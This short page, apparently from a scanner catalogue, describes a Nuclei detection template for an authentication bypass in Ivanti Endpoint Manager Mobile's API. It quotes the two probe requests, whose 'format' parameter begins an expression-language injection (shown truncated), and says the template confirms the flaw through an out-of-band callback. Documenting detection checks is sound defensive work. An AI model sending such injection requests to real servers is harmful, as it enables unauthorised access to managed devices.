How to detect it
Nuclei template (active check)
Ivanti Endpoint Manager Mobile - Authentication Bypass
An authentication bypass in the API component of Ivanti Endpoint Manager Mobile 12.5.0.0 and prior allows attackers to access protected resources without proper credentials via the API.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''..., GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClas...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
